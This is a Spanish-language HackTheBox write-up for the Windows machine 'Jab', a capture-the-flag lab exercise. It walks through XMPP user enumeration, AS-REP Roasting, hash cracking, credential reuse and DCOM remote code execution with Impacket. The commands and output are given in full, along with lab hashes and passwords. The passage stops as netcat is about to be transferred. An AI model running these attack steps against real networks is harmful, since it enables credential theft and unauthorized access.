Jab – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: HackTheBox

‘Jab’ Avatar


Resumen Link to heading

Jab es una máquina Windows de dificultad media de la plataforma HackTheBox. Luego de un escaneo inicial de puertos, notamos que la máquina está corriendo el servicio Jabber, un servicio de mensajería basado en XMPP. Somos capaces de crear un nuevo usuario dentro de este servicio de mensajería y somos capaces de extraer una lista de potenciales usuarios dentro de éste. Performamos entonces un ataque AS-REP Roasting contra estos usuarios, de los cuales somos capaces de extraer el hash de 3 de ellos. Intentamos crackear la contraseña de estos usuarios por medio de fuerza bruta y encontramos credenciales válidas para 1 de estos 3 usuarios. Con este usuario, somos capaces de entrar nuevamente al servicio Jabber, pero esta vez somos capaces de leer nuevos chats. Dentro de estos nuevos chats, hay uno que muestra unas credenciales filtradas para un nuevo usuario. Dado que el servicio Microsoft RPC estaba corriendo, intuimos que éste podría estar usando el protocolo Distributed Component Object Model (DCOM). Usando estos servicios somos capaces de lograr un Remote Code Execution (ejecución remota de comandos) usando la herramienta dcomexec.py de Impacket, ganando acceso a la máquina. Una vez dentro, somos capaces de detectar un servicio llamado Openfire -usado para administrar el servicio Jabber- el cual estaba corriendo y tenía un puerto interno expuesto. Usamos Chisel para lograr un Remote Port Forwarding y lograr tener acceso a este puerto interno gestionando el servicio Openfire. Revisando el puerto interno a través de un nevegador de internet, somos capaces de ver la versión de este servicio y notamos que éste es vulnerable contra CVE-2023-32315. Usando esta vulnerabilidad, somos capaces de ejecutar comandos de sistema, ganando acceso como el usuario nt authority/system; comprometiendo completamente la máquina víctima.


User / Usuario Link to heading

Empezando con un scan de Nmap éste nos muestra múltiples puertos abiertos: 53 Domain Name System (DNS), 88 Kerberos, 135 Microsoft RPC, 389 Lightweight Directory Access Protocol (LDAP), 445 Server Message Block (SMB), 5222 un servicio “jabber” (cuyo nombre es similar al nombre de la máquina, de manera que esto es una pista), 5985 Windows Remote Management (WinRM); entre otros.

❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5222,5223,5262,5263,5269,5270,5275,5276,5985,7070,7443,7777,9389,47001,49664,49665,49666,49668,49673,49674,49675,49676,49681,49781,59518 10.10.11.4 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 12:33 -04
Nmap scan report for 10.10.11.4
Host is up (0.28s latency).

PORT      STATE SERVICE             VERSION
53/tcp    open  domain              Simple DNS Plus
88/tcp    open  kerberos-sec        Microsoft Windows Kerberos (server time: 2024-05-22 16:33:22Z)
135/tcp   open  msrpc               Microsoft Windows RPC
139/tcp   open  netbios-ssn         Microsoft Windows netbios-ssn
389/tcp   open  ldap                Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-05-22T16:34:48+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after:  2024-10-31T20:16:18
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http          Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap            Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after:  2024-10-31T20:16:18
|_ssl-date: 2024-05-22T16:34:46+00:00; -2s from scanner time.
3268/tcp  open  ldap                Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after:  2024-10-31T20:16:18
|_ssl-date: 2024-05-22T16:34:46+00:00; -3s from scanner time.
3269/tcp  open  ssl/ldap            Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-05-22T16:34:46+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=DC01.jab.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb
| Not valid before: 2023-11-01T20:16:18
|_Not valid after:  2024-10-31T20:16:18
5222/tcp  open  jabber
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
| xmpp-info:
|   STARTTLS Failed
|   info:
|     stream_id: 3ymit1490a
|     unknown:
|     compression_methods:
|     errors:
|       invalid-namespace
|       (timeout)
|     features:
|     xmpp:
|       version: 1.0
|     auth_mechanisms:
|_    capabilities:
| fingerprint-strings:
|   RPCCheck:
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
|_ssl-date: TLS randomness does not represent time
5223/tcp  open  ssl/jabber
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
| fingerprint-strings:
|   RPCCheck:
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
|_ssl-date: TLS randomness does not represent time
| xmpp-info:
|   STARTTLS Failed
|   info:
|     features:
|     compression_methods:
|     unknown:
|     errors:
|       (timeout)
|     xmpp:
|     auth_mechanisms:
|_    capabilities:
5262/tcp  open  jabber
| xmpp-info:
|   STARTTLS Failed
|   info:
|     stream_id: 2ty0cdr8t2
|     unknown:
|     compression_methods:
|     errors:
|       invalid-namespace
|       (timeout)
|     features:
|     xmpp:
|       version: 1.0
|     auth_mechanisms:
|_    capabilities:
| fingerprint-strings:
|   RPCCheck:
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5263/tcp  open  ssl/jabber
| xmpp-info:
|   STARTTLS Failed
|   info:
|     features:
|     compression_methods:
|     unknown:
|     errors:
|       (timeout)
|     xmpp:
|     auth_mechanisms:
|_    capabilities:
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
|   RPCCheck:
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5269/tcp  open  xmpp                Wildfire XMPP Client
| xmpp-info:
|   STARTTLS Failed
|   info:
|     features:
|     compression_methods:
|     unknown:
|     errors:
|       (timeout)
|     xmpp:
|     auth_mechanisms:
|_    capabilities:
5270/tcp  open  ssl/xmpp            Wildfire XMPP Client
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
|_ssl-date: TLS randomness does not represent time
5275/tcp  open  jabber
| xmpp-info:
|   STARTTLS Failed
|   info:
|     stream_id: 2pupc1vplb
|     unknown:
|     compression_methods:
|     errors:
|       invalid-namespace
|       (timeout)
|     features:
|     xmpp:
|       version: 1.0
|     auth_mechanisms:
|_    capabilities:
| fingerprint-strings:
|   RPCCheck:
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5276/tcp  open  ssl/jabber
|_ssl-date: TLS randomness does not represent time
| xmpp-info:
|   STARTTLS Failed
|   info:
|     features:
|     compression_methods:
|     unknown:
|     errors:
|       (timeout)
|     xmpp:
|     auth_mechanisms:
|_    capabilities:
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
| fingerprint-strings:
|   RPCCheck:
|_    <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream>
5985/tcp  open  http                Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7070/tcp  open  realserver?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP:
|     HTTP/1.1 400 Illegal character CNTL=0x0
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
|   GetRequest:
|     HTTP/1.1 200 OK
|     Date: Wed, 22 May 2024 16:33:22 GMT
|     Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 223
|     <html>
|     <head><title>Openfire HTTP Binding Service</title></head>
|     <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
|     </html>
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Wed, 22 May 2024 16:33:28 GMT
|     Allow: GET,HEAD,POST,OPTIONS
|   Help:
|     HTTP/1.1 400 No URI
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 49
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: No URI</pre>
|   RPCCheck:
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest:
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   SSLSessionReq:
|     HTTP/1.1 400 Illegal character CNTL=0x16
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 70
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre>
7443/tcp  open  ssl/oracleas-https?
| ssl-cert: Subject: commonName=dc01.jab.htb
| Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb
| Not valid before: 2023-10-26T22:00:12
|_Not valid after:  2028-10-24T22:00:12
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP:
|     HTTP/1.1 400 Illegal character CNTL=0x0
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
|   GetRequest:
|     HTTP/1.1 200 OK
|     Date: Wed, 22 May 2024 16:33:35 GMT
|     Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT
|     Content-Type: text/html
|     Accept-Ranges: bytes
|     Content-Length: 223
|     <html>
|     <head><title>Openfire HTTP Binding Service</title></head>
|     <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body>
|     </html>
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Wed, 22 May 2024 16:33:42 GMT
|     Allow: GET,HEAD,POST,OPTIONS
|   Help:
|     HTTP/1.1 400 No URI
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 49
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: No URI</pre>
|   RPCCheck:
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest:
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   SSLSessionReq:
|     HTTP/1.1 400 Illegal character CNTL=0x16
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 70
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre>
|_ssl-date: TLS randomness does not represent time
7777/tcp  open  socks5              (No authentication; connection not allowed by ruleset)
| socks-auth-info:
|_  No authentication
9389/tcp  open  mc-nmf              .NET Message Framing
47001/tcp open  http                Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc               Microsoft Windows RPC
49665/tcp open  msrpc               Microsoft Windows RPC
49666/tcp open  msrpc               Microsoft Windows RPC
49668/tcp open  msrpc               Microsoft Windows RPC
49673/tcp open  msrpc               Microsoft Windows RPC
49674/tcp open  ncacn_http          Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc               Microsoft Windows RPC
49676/tcp open  msrpc               Microsoft Windows RPC
49681/tcp open  msrpc               Microsoft Windows RPC
49781/tcp open  msrpc               Microsoft Windows RPC
59518/tcp open  msrpc               Microsoft Windows RPC
8 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
<SNIP>
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -2s, deviation: 0s, median: -2s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2024-05-22T16:34:39
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.45 seconds

Buscando en internet por what is jabber nos muestra esta página web. En corto:

Información
Jabber.org is the original messaging service based on XMPP and has been continuously offered for free since 1999.

De manera que, básicamente, este es un servicio para mensajería.

Buscando cómo puedo interactuar con XMPP en nuestra máquina de atacante, encuentro esta página. Para esto, necesitamos instalar una herramienta llamada Pidgin. Podemos instalarla corriendo:

❯ sudo apt --fix-broken install

❯ sudo apt update -y

❯ sudo apt install pidgin -y --fix-missing

Una vez instalada podemos iniciar el software corriendo el comando pidgin:

❯ pidgin

donde se nos abre una nueva ventana:

Jab 1

Antes de añadir un nuevo usuario, necesitamos un dominio. Para esto uso NetExec y reviso el servicio SMB:

❯ netexec smb 10.10.11.4

SMB         10.10.11.4      445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)

donde puedo ver un dominio: jab.htb.

Agrego este nuevo dominio a mi archivo /etc/hosts:

❯ echo '10.10.11.4 jab.htb' | sudo tee -a /etc/hosts

Devuelta a Pidgin, clickeamos en Add, y relleno la ventana con algunos datos. Aquí la parte importante es, en la pestaña Basic, seleccionar el protocolo XMPP, y dejar seleccionada la opción Create this new account on the server, poner el dominio jab.htb y agregar un usuario con su respectiva contraseña.

Jab 2

y luego, en la pestaña Advanced, agregamos la IP del servicio:

Jab 3

Luego de clickear en Add tenemos una advertencia acerca del certificado SSL. Lo aceptamos y continuamos.

Luego tenemos una ventana la cual nos pregunta por credenciales. En User y Full name simplemente pongo mi nombre gunzf0x; como email pongo gunzf0x@jab.htb y proveo la contraseña. Una vez hecho, tenemos una ventana que dice Buddy List, como se muestra a continuación:

Jab 5

En la parte superior izquierda podemos ver las opciones Buddies -> Join a Chat -> Room List -> Find Rooms y podemos ver algunos chats:

Jab 6

test y test2 son los chats disponibles. Clickeo en uno de los chats y luego clickeo en Join. El chat test no funciona, pero el chat test2 sí. De aquí podemos ver:

Jab 7

donde soy capaz de ver un texto que parece encodeado en base64.

No obstante, decodearlo no muestra mucho:

❯ echo 'VGhlIGltYWdlIGRhdGEgZ29lcyBoZXJlCg==' | base64 -d

The image data goes here

Luego de algunas búsquedas, noto que podemos buscar por usuarios. Para esto podemos volver a la parte de Buddy List, luego ir a Accounts, poner el mouse en nuestra cuenta y clickear en Search for Users. Esto desplegará una nueva ventana la cual realizará una búsqueda en el dominio search.jab.htb y, finalmente, clickeo en Search Directory. Esto desplegará una nueva ventana que dirá “Advanced Search” donde simplemente buscamos por *(básicamente, buscamos por lo que sea) y clickeamos en Ok:

Jab 8

Luego de algunos segundos obtengo una nueva ventana la cual muestra todos los usuarios:

Jab 9

Son muchísimos, y guardarlos uno por uno no es una opción para mí. Decido entonces buscar cómo guardar el output de Pidgin en un archivo, y encuentro documentación oficial explicando cómo usarlo para debugging. De manera que cierro mi sesión y ventana actual con Pidgin, y la vuelvo a abrir, pero esta vez corriendo el comando:

❯ pidgin --debug |& tee debug.log

para guardar todo el output en un archivo llamado debug.log

Luego, repito todos los pasos previamente realizados para obtener los usuarios (incluyendo el logueo, abrir los chats, y luego buscar por usuarios hasta que aparezca la ventana que los muestra). Luego de ello, simplemente cerramos la ventana de Pidgin y tenemos algunas líneas de output en nuestro archivo. Algunas líneas muestran un output como:

❯ cat debug.log | grep "jab.htb"

<SNIP>

(16:21:49) jabber: Recv (ssl)(4082): ld var="jid"><value>rgilbert@jab.htb</value></field><field var="Username"><value>rgilbert</value></field><field var="Name"><value>Richard Gilbert</value></field><field var="Email"><value>rgilbert@jab.htb</value></field></item><item><field var="jid"><value>cobando@jab.htb</value></field><field var="Username"><value>cobando</value></field><field var="Name"><value>Charlie Obando</value></field><field var="Email"><value>cobando@jab.htb</value></field></item><item><field var="jid"><value>jsegundo@jab.htb</value></field><field var="Username"><value>jsegundo</value></field><field var="Name"><value>Jessica Segundo</value></field><field var="Email"><value>jsegundo@jab.htb</value></field></item><item><field var="jid"><value>fford@jab.htb</value></field><field var="Username"><value>fford</value></field><field var="Name"><value>Frank Ford</value></field><field var="Email"><value>fford@jab.htb</value></field></item><item><field var="jid"><value>vpoland@jab.htb</value></field><field var="Username"><value>vpoland</value></field><field var="Name"><value>Violet Poland</value></field><field var="Email"><value>vpoland@jab.htb</value></field></item><item><field var="jid"><value>astucky@jab.htb</value></field><field var="Username"><value>astucky</value></field><field var="Name"><value>Antonio Stucky</value></field><field var="Email"><value>astucky@jab.htb</value></field></item><item><field var="jid"><value>jsims@jab.htb</value></field><field var="Username"><value>jsims</value></field><field var="Name"><value>Jason Sims</value></field><field var="Email"><value>jsims@jab.htb</value></field></item><item><field var="jid"><value>fsullivan@jab.htb</value></field><field var="Username"><value>fsullivan</value></field><field var="Name"><value>Fred Sullivan</value></field><field var="Email"><value>fsullivan@jab.htb</value></field></item><item><field var="jid"><value>ktaylor@jab.htb</value></field><field var="Username"><value>ktaylor</value></field><field var="Name"><value>Kathy Taylor</value></field><field var="Email"><value>ktaylor@jab.htb</value></field></item><item><field var="jid"><value>vhanson@jab.htb</value></field><field var="Username"><value>vhanson</value></field><field var="Name"><value>Vicky Hanson</value></field><field var="Email"><value>vhanson@jab.htb</value></field></item><item><field var="jid"><value>rtuttle@jab.htb</value></field><field var="Username"><value>rtuttle</value></field><field var="Name"><value>Renee Tuttle</value></field><field var="Email"><value>rtuttle@jab.htb</value></field></item><item><field var="jid"><value>hrobichaux@jab.htb</value></field><field var="Username"><value>hrobichaux</value></field><field var="Name"><value>Helen Robichaux</value></field><field var="Email"><value>hrobichaux@jab.htb</value></field></item><item><field var="jid"><value>scamp@jab.htb</value></field><field var="Username"><value>scamp</value></field><field var="Name"><value>Shawn Camp</value></field><field var="Email"><value>scamp@jab.htb</value></field></item><item><field var="jid"><value>lcampbell@jab.htb</value></field><field var="Username"><value>lcampbell</value></field><field var="Name"><value>Luis Campbell</value></field><field var="Email"><value>lcampbell@jab.htb</value></field></item><item><field var="jid"><value>kanderson@jab.htb</value></field><field var="Username"><value>kanderson</value></field><field var="Name"><value>Kathrine Anderson</value></field><field var="Email"><value>kanderson@jab.htb</value></field></item><item><field var="jid"><value>kclark@jab.htb</value></field><field var="Username"><value>kclark</value></field><field var="Name"><value>Kristen Clark</value></field><field var="Email"><value>kclark@jab.htb</value></field></item><item><field var="jid"><value>hbundy@jab.htb</value></field><field var="Username"><value>hbundy</value></field><field var="Name"><value>Harold Bundy</value></field><field var="Email"><value>hbundy@jab.htb</value></field></item><item><field var="jid"><value>kconnally@jab.htb</value></field><field var="Username"><value>kconnally</value></field><field var="Name"><value>Kristen Connall

Podemos usar expresiones regulares junto con grep para obtener los nombres de las cuentas y guardarlas en un nuevo archivo llamado users.txt:

❯ grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' debug.log | sed 's/@jab.htb//g' | sort -u > users.txt

Ahora podemos tratar de performar un ataque de AS-REP Roasting contra estos usuarios usando la herramienta GetNPUsers.py de Impacket:

❯ python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py jab.htb/ -usersfile users.txt -no-pass -format john -dc-ip 10.10.11.4 -outputfile hashes_getNPUsers
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[-] User aaaron doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User aallen doesn't have UF_DONT_REQUIRE_PREAUTH set
<SNIP>

Luego de que la tarea termina, tenemos hashes para 3 usuarios diferentes:

❯ cat hashes_getNPUsers

$krb5asrep$jmontgomery@JAB.HTB:20b36f25e794697e955c3b36f39ca428$ad65a0ca4c5c5ca35aa2999eaa71c11496528ef18230c3a3db0f8017b54f7d6e7fcba7323faf80f7786cfd6fc99ef963eda01608477ee50d9844bc010f866d6cb83c6e1e2841ce6583c8cd90c2f6b180be5d4ad7f40bd751277a91d95327d0536108d4b6d84edaf4b4383138bc7418ecbc7b991fcbf9900cc08200efc043abe86d75c83bc2bdacf7a62aa9fe4df0db801d1d73b0177db303a3d5cabd053e194b0fe5d4a28c6b8ae85ce50c9f6c68721d54c989dc98791505707066c0c97afa2c9b074a4152ba4ee4339fff499394722a1cc4f23b56742e30c059492ee3b63f650fc4
$krb5asrep$lbradford@JAB.HTB:ae09761fba20b3aaf8a9dfdd2eeeb8a8$9fd7aeb9913883bc3875f5a527386cbb546cf548612fce72e2a6c4d8df31d87b31013965226125008edd44b2b94db75e4cbb2fab6e92e70d4f5a646ee7d7249476433eebd801aa3b7e89c19c9ac26fe4313af6ab519ba4e66b498b33a15cb1704ddb2c5e1f2d42bc94f9cc498279cf85956058867029c3d7166fd7dde730daa968975d4190537ef3c2a5027a6415d232dd5dabaa63ca4a08b2dc6fb0749fb9439b6d29e8e8f940e14bf0fe1aab17307e54e88e6f2ee8ff5bd14759ee03aa8bd1995319bba9a9917290b9b3735d2566b132ad57b54e8ce9a8b727a5640c4288f20101
$krb5asrep$mlowe@JAB.HTB:6eee03d5d34f4457100fc8452f81e85d$a76a718226c25796d970d3696d9128d1862c9b2e54506b162a86291616de87ed4471b354f711e484fca635c1069b3fc2664003f79f9791ee53534adb13025638727cd8d1b9360f9e461d1b2dd149739286ad035a79d0e18c48c0531759ea5adfb9e48061891ae6f3d47e0f2ca602b8cc79925328f338a72dec6dbc087fbfcc8ef333e6ef6a6e11dcd9c54484b03a23ece6a0ef88569bb5dbd029efd51c1019f39a69e3e904c4c17012359dd5970705ed1c5386ead6c911458357bb7266524eaeae9b7b2d6de4c75937a4370c68368c3fc767b6ab48c85b87c8f73b903147b585de3a

Tratamos un Brute Force Password Cracking (tratar de crackear las contraseñas por medio de fuerza bruta) con john contra estos hashes y hallamos:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_getNPUsers

Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Midnight_121     ($krb5asrep$jmontgomery@JAB.HTB)
1g 0:00:00:23 DONE (2024-05-22 18:49) 0.04284g/s 614556p/s 1692Kc/s 1692KC/s  0841079575..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

donde hemos encontrado credenciales: jmontgomery:Midnight_121

Ahora, decido revisar si estas credenciales funcionan en otros servicios tales como SMB con NetExec; y funcionan, pero no veo información interesante:

❯ netexec smb 10.10.11.4 -u 'jmontgomery' -p 'Midnight_121' --shares

SMB         10.10.11.4      445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.4      445    DC01             [+] jab.htb\jmontgomery:Midnight_121
SMB         10.10.11.4      445    DC01             [*] Enumerated shares
SMB         10.10.11.4      445    DC01             Share           Permissions     Remark
SMB         10.10.11.4      445    DC01             -----           -----------     ------
SMB         10.10.11.4      445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.4      445    DC01             C$                              Default share
SMB         10.10.11.4      445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.4      445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.4      445    DC01             SYSVOL          READ            Logon server share

y tampoco tenemos acceso via Windows Remote Management (WinRM):

❯ netexec winrm 10.10.11.4 -u 'jmontgomery' -p 'Midnight_121'

WINRM       10.10.11.4      5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:jab.htb)
WINRM       10.10.11.4      5985   DC01             [-] jab.htb\jmontgomery:Midnight_121

En este punto, similar a como agregamos nuestro usuario usando Pidgin, agrego al usuario con las credenciales halladas. La única diferencia es que no selecciono Create this new account on the server. Simplemente proveo las credenciales halladas.

Una vez agregado, voy a Accounts -> Manage Accounts, selecciono la cuenta jmontgomery, paso las credenciales y logueo con este usuario. Si esto no funciona, luego de agregar y seleccionar el usuario, podemos ir a Buddies -> Quit, y luego Pidgin nos preguntará por la contraseña para el usuario jmontgomery. Pasamos la contraseña hallada:

Jab 10

Ahora, similar a como hicimos anteriormente, trateremos de hallar chats. Vamos a Buddies -> Join a Chat -> Room List -> Find Rooms. Ahora puedo ver una nueva “room” llamada pentest2003. La selecciono y clickeo en Join:

Jab 11

Tenemos un nuevo chat:

Jab 12

En este chat se habla acerca de un problema de seguridad que hubo en el pasado, el cual debería de estar parcheado. Levemente diferente a como lo hicimos, ellos usan la herramienta GetUserSPNs.py. Ellos son capaces de encontrar el hash para el usuario svc_openfire, y lograron encontrar una contraseña: !@#$%^&*(1qazxsw

De nuevo, estas credenciales funcionan via SMB:

❯ netexec smb 10.10.11.4 -u 'svc_openfire' -p '!@#$%^&*(1qazxsw'

SMB         10.10.11.4      445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.4      445    DC01             [+] jab.htb\svc_openfire:!@#$%^&*(1qazxsw

pero no muestran información importante.

En este punto debemos de recordar que uno de los puertos abiertos era 135 Microsoft RPC. Éste podría estar corriendo el protocolo Distributed Component Object Model (DCOM):

Información
The Distributed Component Object Model (DCOM) is a protocol that enables software components to communicate directly over a network. Previously named “Network OLE,” DCOM is designed for use across multiple network transports, including Internet protocols such as HTTP.

Tal cual se explica en HackTricks, si tenemos Microsoft RPC corriendo junto con el protocolo DCOM, quizás seamos capaces de ejecutar comandos. Primero, reviso si tenemos acceso a través de Microsoft RPC con rpcclient:

❯ rpcclient -U 'svc_openfire%!@#$%^&*(1qazxsw' 10.10.11.4 -c 'getusername'

Account Name: svc_openfire, Authority Name: JAB

y tenemos acceso.

Ahora utilizaremos la herramienta dcomexec.py de Impacket para tratar de ejecutar comandos. Basados en recomendaciones de HackTricks, vale la pena probar con todos los “objetos” de DCOM (ShellWindows, ShellBrowserWindow, y MMC20). En mi caso, MMC20 funcionó. Lo que haré será mandarme un ping desde la máquina víctima a mi máquina de atacante, dado que esto significará que somos capaces de ejecutar comandos. Primero, me pongo en escucha con tcpdump:

❯ sudo tcpdump -ni tun0 icmp

Luego, trato de ejecutar el comando cmd.exe /c ping -n 1 10.10.16.2, donde 10.10.16.2 es mi IP de atacante:

❯ python3 /usr/share/doc/python3-impacket/examples/dcomexec.py -object 'MMC20' jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'C:\Windows\System32\cmd.exe /c ping -n 1 10.10.16.2' -silentcommand

aquí recomiendo fuertemente la flag -silentcommand para evadir el output del comando (o puede que este tome un largo tiempo en ejecutarse).

Obtengo algo en mi listener:

❯ sudo tcpdump -ni tun0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:44:36.520454 IP 10.10.11.4 > 10.10.16.2: ICMP echo request, id 1, seq 882, length 40
19:44:36.520466 IP 10.10.16.2 > 10.10.11.4: ICMP echo reply, id 1, seq 882, length 40

de manera que hemos alcanzado un Remote Code Execution (ejecución remota de comandos).

Pasaré un binario de netcat para Windows a la máquina víctima. Para ello empiezo un servidor temporal HTTP en Python en el puerto 8080:

❯ ls && python3 -m http.server 8080

nc64.exe

Luego (y tras varios intentos), me descargo el binario de netcat en la ruta C:\Users\svc_openfire\Downloads con la herramienta certutil:

